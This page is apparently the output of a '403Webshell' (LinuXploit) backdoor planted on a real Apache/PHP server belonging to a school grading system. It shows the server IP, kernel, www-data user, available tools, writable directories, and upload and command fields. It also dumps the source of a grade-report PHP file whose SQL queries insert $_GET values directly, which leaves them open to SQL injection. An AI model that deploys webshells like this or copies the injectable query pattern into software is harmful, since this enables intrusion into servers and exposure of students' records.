403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa//reportgradetotalk.php
<?
require_once "config/confiteacher.inc.php";
require_once "head.php";
?>
	

<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=tis-620">
<title>grad</title>
</head>
<body>


<?
require_once "config/connectdb.php";
$strSQL = "SELECT * FROM mainsubject LEFT JOIN transcripts ON
 mainsubject.Codesub=transcripts.code JOIN klw ON transcripts.IDstudent=klw.Username JOIN teacher ON teacher.teachcode=transcripts.teach where Codesub = '$_GET[id]'  and xyy='$_GET[xyy]' and idt = '".$_SESSION['idt']."' and room >0 order by room+1 ASC";
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");

?>
<?


require_once "head.php";


?>

<tr>
        
		

		
</tr>
<table width="100%" border="0" bgcolor="#0000000">
 
  <tr bgcolor="#006666">
    <th width="2%"> <div align="left"><font color="#FFFFFF" size="2">ที่</font></div></th>
	<th width="30%"> <div align="left"><font color="#FFFFFF" size="2">ชื่อ-สกุล ชั้น</font></div></th>
	<th width="5%"> <div align="left"><font color="#FFFFFF" size="2">ห้อง/เลขที่</font></div></th>
	<th width="10%"> <div align="center"><font color="#FFFFFF" size="2">รหัสวิชา</font></div></th>
    <th width="20%"> <div align="center"><font color="#FFFFFF" size="2">รายวิชา</font></div></th>
	<th width="10%"> <div align="center"><font color="#FFFFFF" size="2">ปี/ภาคเรียน</font></div></th>
	<th width="2%"> <div align="center"><font color="#FFFFFF" size="2">คะแนนรวม</font></div></th>
	<th width="2%"> <div align="center"><font color="#FFFFFF" size="2">เกรด</font></div></th>
	<th width="2%"> <div align="center"><font color="#FFFFFF" size="2">R-Grade</font></div></th>
	<th width="2%"> <div align="center"><font color="#FFFFFF" size="2">K-Grade</font></div></th>
	<th width="40%"> <div align="center"><font color="#FFFFFF" size="2">หมายเหตุุ</font></div></th>

  </tr>
<?
$num = 1;
while($objResult = mysql_fetch_array($objQuery))
{
	
?>
  <tr bgcolor="FFFFFF">
  <td width="5" height="20"> <div align="center"><font color="#990000" size="2"><? echo "$num"; ?></font></div></td>
    <td><font size='2'><div align="left">
	<input type="hidden" name="hdnIDstudent<?=$i;?>" size="2" value="<?=$objResult["IDstudent"];?>">
	<?=$objResult["IDstudent"];?> <?=$objResult["prefix"];?><?=$objResult["Name"];?> <?=$objResult["surname"];?>
	</div></a></td></td>
	<td><?=$objResult["room"];?></td>
   <td><font size='2'><?=$objResult["code"];?></font></td>
	 <td><font size='2'> <?=$objResult["Titles"];?></font></td>
	 <td><font size='2'> <?=$objResult["xyy"];?>/<?=$objResult["xterm"];?></font></td>
	 <td> <?=$objResult["total"];?></td>
	 <td> <?=$objResult["grad"];?></td>
	 <td> <?=$objResult["r1"];?></td>
	 <td> <?=$objResult["k1"];?></td>
    





	<td align="right"><font size='2'><?=$objResult["teach"];?>/<?=$objResult["name"];?></font></td>
  </tr>
<?
$num = $num+1;
}
?>


</table>
  
<br>
<br>

<?


$crsql="SELECT count( IDstudent ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach  
 JOIN klw ON transcripts.IDstudent=klw.Username
 WHERE k1=1 and Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and xyy='$_GET[xyy]'  ";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$k1=$dcrd[0];


$crsql="SELECT count( IDstudent ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach  
 JOIN klw ON transcripts.IDstudent=klw.Username
 WHERE k1=2 and Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$k2=$dcrd[0];

$crsql="SELECT count( IDstudent) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach  
 JOIN klw ON transcripts.IDstudent=klw.Username
 WHERE k1=3 and Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$k3=$dcrd[0];

	


	$crsql="SELECT count( IDstudent ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach  
 JOIN klw ON transcripts.IDstudent=klw.Username
 WHERE  Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$slipnum_total=$dcrd[0];


	
	$slipnum_total1=$slipnum_0+$slipnum_1+$slipnum_15+$slipnum_2+$slipnum_25+$slipnum_3+$slipnum_35+$slipnum_4+$slipnum_i;
////////studentout

$crsql="SELECT count( total ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach  WHERE total = '' and Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$slipnum_out=$dcrd[0];

///////MAX
	$crsql="SELECT max( total ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach JOIN klw ON transcripts.IDstudent=klw.Username  WHERE Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and room >0 and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$slipnum_MAX=$dcrd[0];



	///////MIN
	$crsql="SELECT min( total ) FROM `transcripts` JOIN mainsubject ON
 mainsubject.Codesub=transcripts.code JOIN teacher ON teacher.teachcode=transcripts.teach JOIN klw ON transcripts.IDstudent=klw.Username  WHERE Codesub = '$_GET[id]' and idt = '".$_SESSION['idt']."' and room >0 and xyy='$_GET[xyy]'";
	$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
	$dcrd = mysql_fetch_array($slr);
	$slipnum_MIN=$dcrd[0];


	
	///////MIN



	//////////รihvp]t//รih

$slipnum_p1=($k1/$slipnum_total)*100;

$slipnum_p2=($k2/$slipnum_total)*100;

$slipnum_p3=($k3/$slipnum_total)*100;

$slipnum_ptotal=($slipnum_total/$slipnum_total)*100;

$slipnum_gpa=($slipnum_1*1+$slipnum_15*1.5+$slipnum_2*2+$slipnum_25*2.5+$slipnum_3*3+$slipnum_35*3.5+$slipnum_4*4)/$slipnum_total;


$k11=$slipnum_p0+$slipnum_p1+$slipnum_p15+$slipnum_pi;
$k22=$slipnum_p2+$slipnum_p25;
$k33=$slipnum_p3+$slipnum_p35+$slipnum_p4;


?>
<table width="100%" border="0" bgcolor="000000">
 
  <tr bgcolor="FFFFFF">
    <th width="10%"> <div align="left">คุณลักษณะ</div></th>
	<th width="10%"> <div align="left">ออก</div></th>
	<th width="10%"> <div align="left">0</div></th>
	<th width="10%"> <div align="center">1</div></th>
    <th width="10%"> <div align="center"></div></th>
	<th width="10%"> <div align="center">2</div></th>
	<th width="10%"> <div align="center"></div></th>
	<th width="10%"> <div align="center">3</div></th>
	<th width="10%"> <div align="center"></div></th>
	<th width="10%"> <div align="center"></div></th>
	<th width="10%"> <div align="center"></div></th>
	<th width="10%"> <div align="center">รวม</div></th>

  </tr>
<tr bgcolor="FFFFFF">
 <th width="10%"> <div align="left">จำนวนนักเรียน</div></th>
    <th width="10%"> <div align="left"><? echo number_format($slipnum_out); ?></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($k1); ?></div></th>
    <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($k2); ?></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($k3); ?></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($slipnum_total); ?></div></th>

  </tr>

<tr bgcolor="FFFFFF">
<th width="10%"> <div align="left">ร้อยละ</div></th>
    <th width="10%"> <div align="left"></div></th>
	<th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($slipnum_p1,2); ?></div></th>
    <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($slipnum_p2,2); ?></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($slipnum_p3,2); ?></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"></div></th>
	 <th width="10%"> <div align="left"><? echo number_format($slipnum_ptotal,2); ?></div></th>

  </tr>



<?

?>
  <tr bgcolor="FFFFFF">
   
  </tr>



</table>
<input type="button" value="Print this page" onclick="window.print()"> 
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit